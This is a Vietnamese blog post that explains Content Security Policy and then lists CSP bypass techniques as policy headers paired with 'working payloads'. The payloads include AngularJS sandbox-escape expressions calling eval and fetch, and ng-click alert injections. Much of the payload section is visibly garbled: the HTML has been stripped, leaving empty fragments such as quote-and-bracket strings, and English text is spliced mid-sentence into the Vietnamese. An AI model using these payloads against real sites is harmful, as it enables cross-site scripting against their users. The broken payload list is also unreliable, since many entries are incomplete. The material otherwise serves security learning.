Content Security Policy là gì

Kỹ thuật bỏ qua nội dung-bảo mật-chính sách (CSP)

Xin chào độc giả, bài viết này là một đóng góp cho cộng đồng mạng của chúng tôi mà từ đó tôi đã thu thập được từng chút kiến ​​thức của mình. Tôi sẽ cố gắng đề cập đến tất cả các phương pháp bỏ qua CSP mà tôi đã học được cho đến nay.

CSP là gì?

CSP là viết tắt của Content Security Policy, là một cơ chế để xác định tài nguyên nào có thể được tìm nạp hoặc thực thi bởi một trang web. Nói cách khác, nó có thể hiểu là một chính sách quyết định các script, hình ảnh, iframe nào có thể được gọi hoặc thực thi trên một trang cụ thể từ các vị trí khác nhau. Chính sách bảo mật nội dung được triển khai thông qua tiêu đề phản hồi hoặc phần tử meta của trang HTML. Từ đó, trình duyệt kêu gọi tuân theo chính sách đó và chủ động chặn các vi phạm khi chúng được phát hiện.

Tại sao nó được sử dụng?

Chính sách bảo mật nội dung được sử dụng rộng rãi để bảo mật các ứng dụng web chống lại việc đưa nội dung vào như các cuộc tấn công tập lệnh trên nhiều trang web. Cũng bằng cách sử dụng CSP, máy chủ có thể chỉ định giao thức nào được phép sử dụng. Chúng ta có thể nghĩ rằng CSP là giảm thiểu XSS không? Câu trả lời là không ! CSP là một lớp bảo mật bổ sung chống lại các cuộc tấn công chèn nội dung. Tuyến phòng thủ đầu tiên là mã hóa đầu ra và xác nhận đầu vào luôn luôn. Việc triển khai CSP thành công không chỉ bảo vệ một trang web chống lại những lỗ hổng này mà còn cung cấp một loạt các chi tiết tấn công không thành công, tức là bị chính CSP chặn. Quản trị viên web có thể được hưởng lợi khi sử dụng tính năng này để phát hiện một lỗi tiềm ẩn.

Làm thế nào nó hoạt động?

CSP hoạt động bằng cách hạn chế nguồn gốc mà nội dung chủ động và thụ động có thể được tải từ đó. Nó cũng có thể hạn chế một số khía cạnh nhất định của nội dung đang hoạt động, chẳng hạn như việc thực thi JavaScript nội tuyến và việc sử dụng eval ().

Nếu bạn là nhà phát triển, bạn sẽ yêu cầu xác định tất cả các nguồn gốc được phép cho mọi loại tài nguyên mà trang web của bạn sử dụng. Giả sử bạn là chủ sở hữu của một trang web abc.com và những trang web này tải nhiều tài nguyên như script, hình ảnh, css từ localhost và các nguồn khác nhau, chẳng hạn như allow.com. Một chính sách rất cơ bản sẽ là:

Được triển khai thông qua Tiêu đề phản hồi:

Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self'; script-src : This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url; working payload : Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url; working payloads : "/>'> "/>'> Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url; working payloads : ">'> Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url; working payloads : "/>'> Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url; working payload : "> Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url; working payloads :
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
">
{{$eval.constructor('alert(1)')()}}
">
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; working payloads : ng-app"ng-csp ng-click=$event.view.alert(1337)> "> Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url; working payload : ">'>"> Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self' ; report-uri /_csp; upgrade-insecure-requests working payloads : * sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)

Cảm ơn bạn!

Nếu có bất kỳ phản hồi hoặc đề xuất nào, hãy liên hệ với tôi @ Bhavesh_Thakur_